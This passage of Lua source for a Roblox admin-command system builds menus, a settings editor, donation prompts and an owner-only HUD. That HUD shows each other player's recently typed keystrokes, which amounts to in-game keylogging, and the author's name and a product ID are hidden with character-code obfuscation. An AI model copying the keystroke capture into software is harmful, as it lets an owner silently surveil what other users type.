3893 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
3894 SearchBar.Parent = Frame.Parent
3895 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3896 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3897
3898 local SearchVer = 0,nil
3899 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
3900
3901 local function ShowResults(Key)
3902 SearchVer = SearchVer + 1
3903 local ThisSearchVer = SearchVer
3904
3905 if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
3906 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
3907
3908 local NumPos,Num = 0,1
3909
3910 for _,Data in pairs(List) do
3911 if ThisSearchVer ~= SearchVer then
3912 break
3913 end
3914 local String = STRING:Defilter(tostring(Data))
3915 if String then
3916 local ImageIcon = nil
3917 if type(Data) == "table" then
3918 String = Data[1]
3919 ImageIcon = Data[2]
3920 end
3921
3922 local TextColor = GUI:ContrastColor()
3923 local StringSplit = STRING:GetSplit(String, 1, " ")
3924 local NewColor = GUI:GetColor(StringSplit[1])
3925 if NewColor then TextColor = NewColor String = StringSplit[2] end
3926
3927 if string.find(string.lower(String), string.lower(Key)) then
3928 Spacer = false
3929 local Font = Settings.Font
3930 local Split = STRING:GetSplit(String, 1, " ")
3931 if string.sub(string.lower(String),1,6) == "bold: " then
3932 Font = "ArialBold"
3933 String = string.sub(String,7)
3934 elseif Fonts[Split[1]] then
3935 Font = Split[1]
3936 String = Split[2]
3937 end
3938 if string.sub(String,1,2) == "--" then
3939 Spacer = true
3940 end
3941 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
3942 if ImageIcon then
3943 if tonumber(ImageIcon) then
3944 ImageIcon = "rbxassetid://"..ImageIcon
3945 elseif Icons[ImageIcon] then
3946 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
3947 end
3948
3949 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
3950 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
3951 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
3952 Content.Text = ""
3953 NumPos = NumPos + 90
3954 else
3955 NumPos = NumPos + 30
3956 end
3957
3958 if not Clickable then
3959 Content.AutoButtonColor = false
3960 Content.Active = false
3961 Content.BackgroundTransparency = 1
3962 elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
3963 SOUND:BindButton(Content)
3964 CORE:HandleEvent(Content, "MouseButton1Down", function() Clicked:Fire(String) end, true)
3965 end
3966 if Spacer == false then Num = Num + 1 end
3967 end
3968 end
3969 end
3970 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
3971 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
3972 end
3973
3974 ShowResults(PreSearch)
3975
3976 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
3977 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
3978 if Prop == "Text" then
3979 local Text = CORE:ReadProperty(RPR, Player, "Text")
3980 ShowResults(Text)
3981 Frame.CanvasPosition = Vector2.new(0,0)
3982 end
3983 end)
3984
3985 return Clicked, Close
3986end
3987
3988function GUI:PropertyGui(Player, Title, Icon, Properties)
3989 if not Player then return nil end
3990 if not Player:FindFirstChild("PlayerGui") then return nil end
3991 if type(Properties) ~= "table" then return nil end
3992 local HasClosed = false
3993 local NewProperties = {}
3994
3995 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
3996 Frame.ClipsDescendants = true
3997 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
3998
3999 for PropertyName,Data in pairs(Properties) do
4000 NewProperties[PropertyName] = Data[1]
4001 end
4002
4003 local YCount = 0
4004
4005 for PropertyName,Data in pairs(Properties) do
4006 if type(Data) == "table" then
4007 local DefaultValue = Data[1]
4008 local Writable = Data[2]
4009 local ValueType = Data[3]
4010
4011 if Writable == nil then Writable = false end
4012 if type(ValueType) == "string" then -- now this is confusing
4013 ValueType = string.lower(ValueType)
4014 elseif ValueType == nil then
4015 ValueType = type(DefaultValue)
4016 end
4017
4018 if ValueType == "nil" or ValueType == "userdata" then
4019 ValueType = nil
4020 elseif ValueType == "table" then
4021 DefaultValue = STRING:UnpackArgs(DefaultValue)
4022 ValueType = "string"
4023 end
4024
4025 if ValueType then
4026 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4027 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4028 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4029
4030 if ValueType == "string" or ValueType == "number" then
4031 if Writable == true then
4032 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4033 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4034 if ValueType == "number" then
4035 NewProperties[PropertyName] = tonumber(Input.Text)
4036 else
4037 NewProperties[PropertyName] = tostring(Input.Text)
4038 end
4039 end end)
4040 else
4041 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4042 end
4043 end
4044 if ValueType == "boolean" then
4045 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4046 if DefaultValue == true then
4047 Check.Image = "rbxassetid://48138491"
4048 end
4049 if Writable == true then
4050 CORE:HandleEvent(Check, "MouseButton1Down", function()
4051 local NewVal = not NewProperties[PropertyName]
4052 NewProperties[PropertyName] = NewVal
4053 if NewVal == true then
4054 Check.Image = "rbxassetid://48138491"
4055 else
4056 Check.Image = "rbxassetid://48138474"
4057 end
4058 end)
4059 else
4060 Check.ImageTransparency = 0.5
4061 end
4062 end
4063 YCount = YCount + 50
4064 end
4065 end
4066 end
4067
4068 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4069
4070 Closed.Event:connect(function() HasClosed = true end)
4071
4072 repeat wait(0.1) until HasClosed
4073 return NewProperties
4074end
4075
4076function GUI:SettingsGui(Player)
4077 if not Player then return nil end
4078 local CloneViewSettings,CanChange = {},false
4079
4080 local ViewSettings = {
4081 ["Version"] = {CORE.Version.Value, false, nil};
4082 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4083 ["Font"] = {Settings.Font, 3, "Font"};
4084 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4085 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4086 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4087 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4088 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4089 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4090 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4091 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4092 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4093 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4094 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4095 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4096 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4097 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4098 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4099 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4100 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4101 ["Bet"] = {Settings.Bet, 3, "Bet"};
4102 }
4103
4104 local _,RankNum = RANK:GetRank(Player)
4105 if RankNum >= 3 then
4106 CanChange = true
4107 end
4108
4109 for Prop,Data in pairs(ViewSettings) do
4110 local Writable = false
4111 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4112 CloneViewSettings[Prop] = {Data[1], Writable}
4113 end
4114
4115 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4116 if CanChange then
4117 for Prop,Data in pairs(ViewSettings) do
4118 if Data[3] then
4119 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4120 end
4121 end
4122 CORE:FixSettings()
4123 end
4124end
4125
4126function GUI:MessageAdmins(TitleText, BodyText, Icon)
4127 for _,Player in pairs(Server.Players:GetPlayers()) do
4128 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4129 if PlayerAdmin then
4130 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4131 end
4132 end
4133end
4134
4135function GUI:TellAdmin(Player)
4136 if not Player then return end
4137
4138 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4139 if ValidAdmin == true then
4140 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4141 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4142 local SoundID = 237866523
4143 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4144 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4145 Sound:Play()
4146 coroutine.wrap(function()
4147 wait(4)
4148 Sound:Stop()
4149 Sound:Destroy()
4150 end)()
4151 end
4152 end
4153end
4154
4155function GUI:TellNotAdmin(Player)
4156 if not Player then return end
4157
4158 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4159end
4160
4161function GUI:CreateTaskBar(Player)
4162 if not Player then return nil end
4163 if Settings.EnableTaskBar == false then return nil end
4164 Player:WaitForChild("PlayerGui")
4165 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4166 if SG then SG:Destroy() end
4167 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4168 local IsMoving = false
4169 local TaskBarShown = false
4170 local Tasks = {}
4171
4172 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4173 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4174
4175 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4176 local Open,CloseForm = false,nil
4177 if Settings.EnableAdminMenu then
4178 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4179 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4180 if Open == false then
4181 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4182 Open,CloseForm = true,Close
4183
4184 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4185 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4186 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4187 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4188 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4189 local function DonateMoney(Type, Element)
4190 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4191 local Get = Request[Type]
4192 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4193 Server.MPS:PromptPurchase(Player, Get[1], true)
4194 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4195 Server.MPS:PromptPurchase(Player, Get[2], true)
4196 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4197 Server.MPS:PromptPurchase(Player, Get[3], true)
4198 else
4199 Element.Text = "Cannot get request"
4200 end
4201 end
4202 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4203 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4204 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4205 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4206 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4207 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4208
4209 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4210
4211 if Closed then
4212 Closed.Event:connect(function()
4213 Open = false
4214 end)
4215 end
4216 else
4217 CloseForm:Invoke()
4218 end
4219 end) end)()
4220 if RANK:GetRank(Player) == "Owner" then
4221 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4222 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4223 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4224 if HUDSG then
4225 HUDSG:Destroy()
4226 else
4227 GUI:CreateHUD(Player)
4228 end
4229 end)
4230 end
4231 end
4232
4233 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4234 if IsMoving == false then
4235 if TaskBarShown == true then
4236 TaskBarShown = false
4237 IsMoving = true
4238 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4239 else
4240 TaskBarShown = true
4241 IsMoving = true
4242 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4243 end
4244 end
4245 end)
4246
4247 local function ReloadIcons()
4248 for Num,Data in pairs(Tasks) do
4249 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4250 end
4251 end
4252
4253 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4254 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4255 table.insert(Tasks, {Form, Icon})
4256 local CanClick = true
4257 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4258 if Form.IsActive.Value == false then
4259 Restore:Invoke()
4260 elseif CanClick == true then
4261 coroutine.wrap(function()
4262 CanClick = false
4263 local DefPos = Form.Dragger.Position
4264 for i = 1,15 do
4265 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4266 wait(0.05)
4267 end
4268 Form.Dragger.Position = DefPos
4269 CanClick = true
4270 end)()
4271 end
4272 end)
4273 ReloadIcons()
4274
4275 Closed.Event:connect(function()
4276 for Num,Data in pairs(Tasks) do
4277 if Data[1] == Form then
4278 Icon:Destroy()
4279 table.remove(Tasks, Num)
4280 end
4281 end
4282 ReloadIcons()
4283 end)
4284 end)
4285end
4286
4287function GUI:ShowDebtStats(Player, ManualText)
4288 local Text = ManualText
4289 if not ManualText then
4290 Text = "CANNOT GET STATISTICS"
4291 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4292 if RawPage then
4293 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4294 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4295 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4296 end
4297 end
4298
4299 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4300 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4301
4302 return Text
4303end
4304
4305function GUI:ShowCommand(Player, CommandTrigger)
4306 if not Player then return nil end
4307 if not CommandTrigger then return nil end
4308
4309 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4310
4311 local CommandKey = CommandTrigger
4312
4313 if not Commands[CommandKey] then
4314 for CommandNames,_ in pairs(Commands) do
4315 for _,CommandName in pairs(CommandNames) do
4316 if CommandName == CommandKey then
4317 CommandKey = CommandNames
4318 end
4319 end
4320 end
4321 end
4322
4323 local CommandData = Commands[CommandKey]
4324
4325 local BodyText = "No valid command has been entered"
4326 local TitleText = "Error"
4327 local CanExe = false
4328 if CommandData then
4329 local PlayerRank = RANK:GetRank(Player)
4330 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4331 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4332
4333 TitleText = "Command: "..CommandKey[1]
4334 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4335
4336
4337Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4338
4339
4340Description: ]]..CommandData[2]..[[
4341
4342
4343Arguments: ]]..CommandData[3]..[[
4344
4345
4346Minimum rank needed: ]]..CommandData[4]..[[
4347
4348
4349Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4350
4351
4352Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4353
4354
4355Http Command ]]..STRING:BoolString(CommandData.Http)
4356 end
4357
4358 GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4359end
4360
4361function GUI:CreateHUD(Speaker)
4362 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4363
4364 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4365 if SG then SG:Destroy() end
4366 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4367
4368 local function AddHUD(Player, Char)
4369 if not Char or not Char:FindFirstChild("Head") then return nil end
4370
4371 local Rank = RANK:GetRank(Player)
4372 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4373 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4374 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4375 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4376 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4377 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4378 InfoLabel.Text = "Name: "..Player.Name..[[
4379Rank: ]]..RANK:GetRank(Player)..[[
4380Age: ]]..STRING:FindAge(Player.AccountAge)
4381 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4382 InfoLabel.Text = InfoLabel.Text..[[
4383Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4384 end
4385 if LastKeys[Player.UserId] then
4386 local Keys = ""
4387 local KeyLog = {}
4388 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4389 table.insert(KeyLog, KeyData[1])
4390 if KeyData[2] == 8 then
4391 Keys = string.sub(Keys, 1, #Keys - 1)
4392 elseif KeyData[2] == 13 then
4393 Keys = Keys.." "
4394 else
4395 Keys = Keys..string.char(KeyData[2])
4396 end
4397 end
4398 KeyLabel.Text = table.concat(KeyLog, "\n")
4399 KeyOutput.Text = Keys
4400 end
4401 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4402 end end)()
4403
4404 local CharRev,Removing = nil,nil
4405 CharRev = Player.CharacterRemoving:connect(function()
4406 PlayerHUD:Destroy()
4407 CharRev:disconnect()
4408 Removing:disconnect()
4409 end)
4410 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4411 PlayerHUD:Destroy()
4412 CharRev:disconnect()
4413 Removing:disconnect()
4414 end end)
4415 end
4416
4417 local function ConnectHUD(Player)
4418 if Player ~= Speaker then
4419 if Player.Character then
4420 AddHUD(Player, Player.Character)
4421 end
4422
4423 Player.CharacterAdded:connect(function(Char)
4424 if Speaker then
4425 AddHUD(Player, Char)
4426 else return nil
4427 end
4428 end)
4429 end
4430 end
4431
4432 for _,Player in pairs(Server.Players:GetPlayers()) do
4433 ConnectHUD(Player)
4434 end
4435
4436 Server.Players.PlayerAdded:connect(ConnectHUD)
4437end
4438
4439function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4440 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4441 local Stopped = false
4442
4443 local Elements = {}
